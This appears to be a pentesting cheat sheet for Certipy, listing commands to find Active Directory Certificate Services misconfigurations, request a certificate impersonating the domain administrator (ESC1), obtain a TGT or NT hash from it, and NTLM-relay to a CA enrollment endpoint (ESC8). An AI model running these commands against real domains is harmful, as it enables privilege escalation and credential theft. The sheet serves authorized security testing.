pentesting, updated
Certipy
Enumerate and abuse Active Directory Certificate Services misconfigurations (the ESC1-ESC8 classes) from the command line.
What it’s for
Find vulnerable certificate templates and CA configurations, then request a certificate that authenticates as another user to escalate privileges domain-wide.
Install
pipx install certipy-ad
Common commands
certipy find -u jdoe@corp.local -p Password1 -dc-ip 10.10.10.5 -vulnerable # sweep for ESC1-ESC8
certipy req -u jdoe@corp.local -p Password1 -ca corp-CA -template VulnTemplate \
-upn administrator@corp.local # ESC1
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.5 # authenticate with the cert
certipy relay -ca 10.10.10.5 # ESC8: relay to the CA web enrollment endpoint
Useful flags
| Command | Effect |
|---|---|
find -vulnerable | Highlight exploitable template/CA misconfigurations |
req | Request a certificate from a template |
auth | Authenticate (get a TGT/NT hash) using an issued certificate |
relay | NTLM relay to a CA’s HTTP enrollment endpoint (ESC8) |